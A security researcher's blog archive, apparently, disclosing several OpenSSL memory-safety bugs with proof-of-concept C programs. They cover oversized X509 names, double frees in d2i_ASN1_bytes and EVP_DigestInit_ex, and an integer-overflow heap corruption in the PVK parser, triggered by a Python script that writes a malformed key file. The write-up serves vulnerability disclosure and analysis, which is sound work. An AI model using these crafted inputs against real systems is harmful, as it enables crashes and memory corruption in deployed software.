Month: March 2016

Mem corruption due to oversized input

#include <openssl/x509.h>
#include <string.h>

int main(void)
{
    const size_t stringsize = 536870912;
    unsigned char* str = malloc(stringsize+1);
    if ( !str )
    {
        exit(1);
    }

    memset(str, 0x01, stringsize);
    str[stringsize] = 0x00;
    X509 * x509 = X509_new();
    X509_NAME * name = X509_get_subject_name(x509);
    X509_NAME_add_entry_by_txt(name, "friendlyName",  MBSTRING_ASC, str, -1, -1, 0);
    X509_NAME_oneline(name, 0, 0);
}

Proof that X509_NAME_oneline writes to buffer despite the len parameter being 0:

#include <openssl/x509.h>
#include <string.h>

int main(void)
{
    const size_t stringsize = 1024;
    unsigned char* str = malloc(stringsize+1);
    if ( !str )
    {
        exit(1);
    }

    memset(str, 'x', stringsize);
    str[stringsize] = 0x00;
    X509 * x509 = X509_new();
    X509_NAME * name = X509_get_subject_name(x509);
    X509_NAME_add_entry_by_txt(name, "friendlyName",  MBSTRING_ASC, str, -1, -1, 0);
    // Fictional buf ptr -- but wouldn't crash
    // if X509_NAME_oneline would adhere to the
    // fact that length is 0
    X509_NAME_oneline(name, (char*)1, 0);
}

#include <openssl/asn1.h>
#include <stdlib.h>
#include <string.h>

int main(void)
{
    ASN1_STRING* a = ASN1_STRING_new();
    ASN1_STRING* b;
    unsigned char* pp;

    ASN1_STRING_set(a, "aa", -1);
    pp = malloc(0x80000000);
    if ( !pp )
    {
        printf("Allocation failure\n");
        return 0;
    }
    pp[0] = 0x01;
    pp[1] = 0x84;
    pp[2] = 0x7F;
    pp[3] = 0xFF;
    pp[4] = 0xFF;
    pp[5] = 0xFA;
    b = d2i_ASN1_bytes(&a, (const unsigned char**)&pp, 0x80000000, 1, 0);
    ASN1_STRING_free(a);

    return 0;
}

gcc d2i_ASN1_bytes_double_free.c -lcrypto; ulimit -v 4194304; ./a.out

The sequence of operations in the attached proof of concept will trigger
a double free.

This happens because:

214     if (ctx->digest != type) {
215         if (ctx->digest && ctx->digest->ctx_size)
216             OPENSSL_free(ctx->md_data);
217         ctx->digest = type;
218         if (!(ctx->flags & EVP_MD_CTX_FLAG_NO_INIT) && type->ctx_size) {
219             ctx->update = type->update;
220             ctx->md_data = OPENSSL_malloc(type->ctx_size);
221             if (ctx->md_data == NULL) {
222                 EVPerr(EVP_F_EVP_DIGESTINIT_EX, ERR_R_MALLOC_FAILURE);
223                 return 0;
224             }
225         }
226     }

Under particular circumstances ctx->md_data is freed but not set again,
and a subsequent call will free ctx->md_data again.

I'm not sure if the PoC represents something that could happen in a real
application, or whether other, saner paths towards this double free (or
perhaps use after free) exist. Either way, I advice setting ctx->md_data
to NULL after freeing it.

PoC:

#include <openssl/evp.h>
#include <openssl/bio.h>
#include <stdio.h>
int main(void)
{
    EVP_MD_CTX *mctx = NULL;
    EVP_PKEY_CTX *pctx = NULL;
    BIO *bmd = NULL;
    EVP_PKEY *sigkey = NULL;
    int errid = 0;
    int r;

    OpenSSL_add_all_digests();

    bmd = BIO_new(BIO_f_md());
    if ( bmd == 0 )
    {
        errid = 1;
        goto err;
    }
    if (!BIO_get_md_ctx(bmd, &mctx))
    {
        errid = 2;
        goto err;
    }
    if ( !EVP_DigestInit_ex(mctx, EVP_md5(), 0) )
    {
        errid = 3;
        goto err;
    }
    sigkey = EVP_PKEY_new_mac_key(EVP_PKEY_HMAC, 0, (unsigned char*)"aaaa", -1);
    if ( !sigkey )
    {
        errid = 4;
        goto err;
    }
    r = EVP_DigestSignInit(mctx, &pctx, 0, 0, sigkey);

    if (!r)
    {
        errid = 5;
        goto err;
    }
    if (!EVP_DigestInit_ex(mctx, EVP_md5(), 0))
    {
        errid = 6;
        goto err;
    }
    return 0;
err:
    printf("Error: %d\n", errid);
    return 1;

    return 0;
}

 

OpenSSL responded with:

“I do not believe this scenario would ever normally occur, i.e. only as a result of programmer error (you should not be mixing the EVP_DigestInit/EVP_DigestSignInit calls in that way). Therefore I will not be treating this as a security issue.
Nonetheless it seems prudent to set ctx->md_data to NULL after the free,
so I will apply a patch to that effect.
“

The reason of this public disclosure

I’m all for responsible disclosure, and this is the route I almost always follow whenever I find a vulnerability in some application. I reported this one on February 24th, and on February 26th, in response to a different inquiry of mine, I was told that any reports submitted from there on had to wait until the next release. This one apparently didn’t make the cut. I respect the fact that the OpenSSL team has to conform to deadlines and schedules.
However, I’ve decided to publicly disclose this one because I think it’s not necessarily more secure to have vulnerable code running on servers for a month of more while attackers, if any (for this vulnerability), are not bound to release cycles and have the advantage of time.

Analysis of the vulnerability

In do_PVK_body, this allocation occurs:

695         enctmp = OPENSSL_malloc(keylen + 8);

a while later this memcpy occurs:

705         memcpy(enctmp, p, 8);

The memcpy presumes that enctmp is at least 8 bytes large. However, if
keylen is (2**32)-8 == 0xFFFFFFF9 at the time of the allocation, then
0xFFFFFFF9 + 8 == 1 byte is effectively allocated.

‘keylen’ is set by b2i_PVK_bio() (the function that calls do_PVK_body)
via do_PVK_header:

(in b2i_PVK_bio)

761     if (!do_PVK_header(&p, 24, 0, &saltlen, &keylen))
762         return 0;

do_PVK_header:

616 static int do_PVK_header(const unsigned char **in, unsigned int length,
617                          int skip_magic,
618                          unsigned int *psaltlen, unsigned int *pkeylen)
619 {
...
...
...
644     *psaltlen = read_ledword(&p);
645     *pkeylen = read_ledword(&p);
...
...
...
654 }

As you can see, keylen is retrieved from the input file directly.

After do_PVK_header has been called by b2i_PVK_bio, and thus saltlen,
keylen have been set, this allocation occurs:

763     buflen = (int)keylen + saltlen;
764     buf = OPENSSL_malloc(buflen);

OPENSSL_malloc will only succeed if buflen > 0. In order to pass this
allocation, the attacker may set the following values for keylen and
saltlen in the file that is being processed:

saltlen: 0x0000000A
keylen: 0xFFFFFFF9

which results in an allocation of 3 bytes here.

This implies that the post-header data of the file is at least 3 bytes:

770     if (BIO_read(in, buf, buflen) != buflen) {
771         PEMerr(PEM_F_B2I_PVK_BIO, PEM_R_PVK_DATA_TOO_SHORT);
772         goto err;
773     }

Back to do_PVK_body:

695         enctmp = OPENSSL_malloc(keylen + 8);
696         if (!enctmp) {
697             PEMerr(PEM_F_DO_PVK_BODY, ERR_R_MALLOC_FAILURE);
698             goto err;
699         }
700         if (!derive_pvk_key(keybuf, p, saltlen,
701                             (unsigned char *)psbuf, inlen))
702             goto err;
703         p += saltlen;
704         /* Copy BLOBHEADER across, decrypt rest */
705         memcpy(enctmp, p, 8);
706         p += 8;
707         if (keylen < 8) {
708             PEMerr(PEM_F_DO_PVK_BODY, PEM_R_PVK_TOO_SHORT);
709             goto err;
710         }

derive_pvk_key will attempt to read 10 bytes from ‘p’. Since the payload
is only 3 bytes, this is an overread of 7 bytes. Hardened/ASAN
builds will crash, but other than that this typically shouldn’t
give any problems.

Then memcpy will corrupt the memory around ‘enctmp’ because it consists
of only 1 byte while trying to write 8 bytes.

Here is a PoC:

#!/usr/bin/env python
import sys
MS_PVKMAGIC         = '\x1e\xf1\xb5\xb0'
reserved            = '\x00' * 4
is_encrypted        = '\x01\x00\x00\x00'
saltlen             = '\x0A\x00\x00\x00'
keylen              = '\xF9\xFF\xFF\xFF'
header = "".join([MS_PVKMAGIC, reserved, reserved, is_encrypted,
saltlen, keylen])
payload = '\x00' * 3

sys.stdout.write(header)
sys.stdout.write(payload)

Compile OpenSSL with -fsanitize=address and then:

$ python pvkgenkey.py | apps/openssl pkey -inform pv -passin pass:1234
WARNING: can't open config file: /usr/local/ssl/openssl.cnf
=================================================================
==11842== ERROR: AddressSanitizer: heap-buffer-overflow on address
0x60040000de59 at pc 0x542666 bp 0x7ffc63024ff0 sp 0x7ffc63024fe8
READ of size 1 at 0x60040000de59 thread T0
...
...
...

This is the overread within derive_pvk_key. If you comment out that call for the sake of demonstration, ASAN will crash on the subsequent memcpy.

Note

I found CVE-2016-0799 (BIO_printf), CVE-2016-0797 (BN_hex2bn/BN_dec2bn) and this one all within about a week of reading the code while taking an opportunistic approach towards finding vulnerabilities (rather than doing a full audit in any meaningful sense of that word). Based on this, I’d wager that a good number of vulnerabilities may still be present.